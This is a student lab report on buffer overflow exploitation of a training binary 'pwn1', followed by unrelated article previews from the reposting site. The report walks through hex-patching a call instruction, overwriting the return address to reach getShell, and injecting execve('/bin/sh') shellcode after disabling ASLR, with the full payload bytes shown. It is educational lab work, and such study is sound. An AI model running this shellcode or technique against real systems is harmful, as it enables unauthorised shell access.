20231911 2023-2024-2 《网络攻防实践》实践九报告

1.实践内容
1.1 缓冲区
缓冲区是内存空间的一部分,在内存中预留了一定的存储空间,用来暂时保存输入和输出等I/O操作的一些数据,这些预留的空间就叫做缓冲区。

1.2 shellcode
shellcode是一段用于利用软件漏洞而执行的代码,也可以认为是一段填充数据,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。

1.3 实践内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

2.实践过程
2.1 手工修改可执行文件
1、首先将 kali 虚拟机名称改为:maxing
在这里插入图片描述2、将学习通中的pwn1文件复制到kali虚拟机中,进入桌面并修改桌面上的pwn1文件为pwn20231911
在这里插入图片描述3、输入指令: objdump -d pwn20231911 | more ,对pwn20231911文件进行反汇编操作:
在这里插入图片描述在命令行的众多信息中可以看到getShell、foo、main等一系列函数:
在这里插入图片描述main函数中的第四行的call指令,调用foo函数,call指令的机器码是e8。
而08 04 84 91(foo的起始地址)= 08 04 84 ba(main函数中call指令的结束地址)+ff ff ff d7(栈是逆序)
如果现在不调用foo函数,改为调用getShell函数
由于08 04 84 7d - 08 04 84 ba = ff ff ff c3,所以我们只需要把main函数中call指令的目标地址由d7 ff ff ff 改为c3 ff ff ff即可。

4、下面进行具体修改:
首先使用指令: cp pwn20231911 task 对pwn20231911文件进行保护,防止破坏:
在这里插入图片描述下载xxd
在这里插入图片描述
然后然后用vi编辑器打开拷贝出来的task,输入指令:vim task:
在这里插入图片描述
可以看到在上述操作后得到一串乱码,按下esc离开编辑模式,然后键入:%!xxd,切换到16进制模式。
在这里插入图片描述在这里插入图片描述
接着输入指令::wq 进行保存并退出输入 ls -l,查看文件权限:
在这里插入图片描述再次进入task文件,进行修改。输入/e8 d7找到要修改内容的位置,根据上述分析,将d7 改为 c3:
在这里插入图片描述在这里插入图片描述将格式更改回去,然后退出。

接着输入指令:objdump -d task | more进行验证:发现已经成功修改。
在这里插入图片描述2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串

1.可以看到:getShell起始函数地址为0804847d:
在这里插入图片描述oo函数执行完成之后,main函数下一条指令的地址为80484ba,而main函数调用函数foo会在堆栈上压入返回地址:80484ba,接下来要做的就是通过foo函数的Bof漏洞输入一段设计好的字符串覆盖掉80484ba,使得80484 ba的值为080484 7d,这样就会执行getshell函数。

2.在虚拟机终端输入指令:apt install gdb,安装gdb:
在这里插入图片描述接着输入命令:gdb pwn20231911调式程序:
在这里插入图片描述3.输入r,回车,表示运行这个文件:
输入一定长字符串:123456123456123456123456123456123456
程序输出该字符串,报错“Segmentation fault”,原因是输入超过28个,程序无法正常退出,产生溢出:
在这里插入图片描述输入info r查看寄存器eip的值:
0x35353535 表示 5555,发现输入的后几位的“5”覆盖到了堆栈上的返回地址,但不知道是具体哪几位的5被覆盖,所以需要修改字符重新具体定位。然后只要把这四个字符替换为getShell的内存地址,输入给pwn20231911,pwn20231911就会运行getShell。
在这里插入图片描述4.继续调试,输入r:
再输入1111111122222222333333334444444412345678:
再次查看指令寄存器eip内的值为:0x34333231,表示4321。
由此可知,我们输入的字符串1111111122222222333333334444444412345678中的1234覆盖了返回地址的值,所以接下来我们需要修改1234的值为0x 08 04 84 7d进行覆盖。
在这里插入图片描述5.对比“eip 0x34333231 0x34333231”,我们的正确输入应为11111111222222223333333344444444\x7d\x84\x04\x08。
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以可以先生成包括这样字符串的一个文件。

在一个新终端中键入perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a”’ > input:
在这里插入图片描述然后输入xxd input:可以通过xxd查看文件十六进制格式的内容。

2.3 注入Shellcode并执行
在这里插入图片描述设置堆栈可执行并查询文件的堆栈是否可执行、是否关闭地址随机化、关闭地址随机化:echo “0” > /proc/sys/kernel/randomize_va_space
在这里插入图片描述输入命令perl -e ‘print “A” x 32;print “\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00”’ > input_20231911进行注入,其中,前32个A是用来填满缓冲区buf,“\x04\x03\x02\x01”是预留的返回地址retaddr:
在这里插入图片描述然后在该终端运行(cat input_20231911;cat) | ./pwn20231911注入这段攻击buf
在这里插入图片描述在新终端中用gdb的attach 3230命令启动gdb调试这个进程:
在这里插入图片描述使用命令:disassemble foo命令反汇编,设置断点查看注入buf的内存地址:
在这里插入图片描述输入指令:b *0x080484ae命令设置断点,输入“c”命令(continue)继续运行:
在这里插入图片描述再返回调试终端,输入info r esp命令:
查看栈顶指针所在的位置为 0xffff d55c查找地址为0xffffd37c。
在这里插入图片描述输入x/16x 0xffffd37c命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,x/16x 0xffffd37c+0x00000004=0xFFFFD380,所以地址应为0xFFFFD380。
在这里插入图片描述接下来只需要将之前的\x4\x3\x2\x1改为这个地址0xffffd380即可,用命令perl -e ‘print “A” x 32;print “\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00”’ > input_20231911:
再用(cat input_20231911;cat) | ./pwn20231911命令次执行程序,攻击成功:
在这里插入图片描述3.学习中遇到的问题及解决
问题1:Kali Linux E:Unable to locate package ,安装不了
解决:参考https://blog.csdn.net/weixin_43729943/article/details/104221462

4.实践总结
通过本次实验,我理解了缓冲区的一些基本情况,而且上课期间,老师也对缓冲区和堆栈问题对同学们进行了提问,并且自己最后也归纳总结,进行了解答,让我对这些知识点有了大致的了解。这次实验主要是一些包很难安装,然后要搜如何解决这个问题,花费大量时间,但也让我学到了,遇到困难要有锲而不舍的精神,一个一个解决。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/705092.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

第十四届蓝桥杯大赛软件赛国赛C/C++ 大学 B 组 数三角

//枚举顶点。 //不存在等边三角形 #include<bits/stdc.h> using namespace std; #define int long long const int n2e311; int a,b,c,l[n],r[n]; signed main() {ios::sync_with_stdio(false);cin.tie(0),cout.tie(0);cin>>a;for(int i1;i<a;i){cin>>…

【初阶数据结构】带头双向循环链表讲解

前言 &#x1f4da;作者简介&#xff1a;爱编程的小马&#xff0c;正在学习C/C&#xff0c;Linux及MySQL。 &#x1f4da;本文收录与初阶数据结构系列&#xff0c;本专栏主要是针对时间、空间复杂度&#xff0c;顺序表和链表、栈和队列、二叉树以及各类排序算法&#xff0c;持…

开源连锁收银系统哪个好

针对开源连锁收银系统的选择&#xff0c;商淘云是一个备受关注的候选。商淘云以其功能丰富、易于定制和稳定性等优势&#xff0c;吸引了众多企业和开发者的关注。下面将从四个方面探讨商淘云开源连锁收银系统的优势&#xff1a; 首先&#xff0c;商淘云提供了丰富的功能模块。作…

报错:(idea端口被占用)Web server failed to start. Port 9090 was already in use.

cmd里面输入&#xff1a; netstat -ano|findstr "9090" 可以看到pid是9644 然后再打开任务管理器

卷轴分红商城模式:适用于多种的商业营销模式

卷轴分红商城模式是一种基于区块链技术的去中心化积分商城系统&#xff0c;通过智能合约和数字资产分红实现积分流通和价值回馈&#xff0c;适用于多种场景。 什么是卷轴分红商城模式&#xff1a; 这是一个去中心化的积分商城系统&#xff0c;消费者在商城消费时&#xff0c;可…

GDPU 竞赛技能实践 天码行空 期末小测

1. 除法&#xff08;原题&#xff09; &#x1f468;‍&#x1f3eb; 实验二&#xff1a;1.简单枚举 输入正整数n&#xff0c;按从小到大的顺序输出所有形如abcde/fghij n的表达式&#xff0c;其中a&#xff5e;j恰好为数字0&#xff5e;9的一个排列&#xff08;可以有前导0&a…

终于搞懂Linux 设备树中的#address-cells,#size-cells 和reg 属性

目录 一、前置知识 1. 处理器平台2. reg 属性的基本格式3. reg 属性的作用 reg 用法 二、#address-cells 和 #size-cells 属性 1. 示例1 2. 示例23. 示例3 一、前置知识 要理解#address-cells和#size-cell 这两个属性&#xff0c;就要先了解 reg属性。 1. 处理器平台 下…

上班族兼职新篇章:10大实战攻略,轻松年赚1-20万

对于众多上班族而言&#xff0c;如何在工作之余赚取额外收入&#xff0c;开启自己的第一份副业&#xff0c;已成为许多人心中的疑问。每个人的才能和兴趣点不尽相同&#xff0c;但都有机会找到适合自己的兼职方式。接下来&#xff0c;就让我们一起探索这10大实战攻略&#xff0…

Zynq UltraScale+ MPSoC 配置存储器器件

Zynq UltraScale MPSoC 配置存储器器件 下表所示闪存器件支持通过 Vivado 软件对 Zynq UltraScale MPSoC 器件执行擦除、空白检查、编程和验证等配置操 作。 本附录中的表格所列赛灵思系列非易失性存储器将不断保持更新 &#xff0c; 并支持通过 Vivado 软件对其中所列…

C++错题集(持续更新ing)

Day 1 一、选择题 解析&#xff1a; 在数字不会溢出的前提下&#xff0c;对于正数和负数&#xff0c;有&#xff1a; 1&#xff09;左移n位&#xff0c;相当于操作数乘以2的n次方&#xff1b; 2&#xff09;右移n位&#xff0c;相当于操作数除以2的n次方。 解析&#xff1a…

汇聚荣科技:拼多多上架商品后需要做页面推广吗?

在电商平台上&#xff0c;商品的曝光率和销量往往成正比。那么&#xff0c;当您在拼多多上架了新品&#xff0c;是不是就意味着坐等订单呢?答案显然是否定的。商品一旦上架&#xff0c;接下来需要做的就是通过有效的页面推广来增加商品的可见度&#xff0c;吸引潜在买家的注意…

熬了快两个月,终于拿到了淘天后端offer!

今年的暑期实习挺难找的&#xff0c;很多同学忙了几个月到现在还没有一个offer&#xff0c;真的很常见&#xff01;没找到暑期实习的同学千万不要太焦虑&#xff0c;可以留意留意日常实习&#xff0c;日常实习也找不到&#xff0c;那就去完善自己的项目经历&#xff0c;认真准备…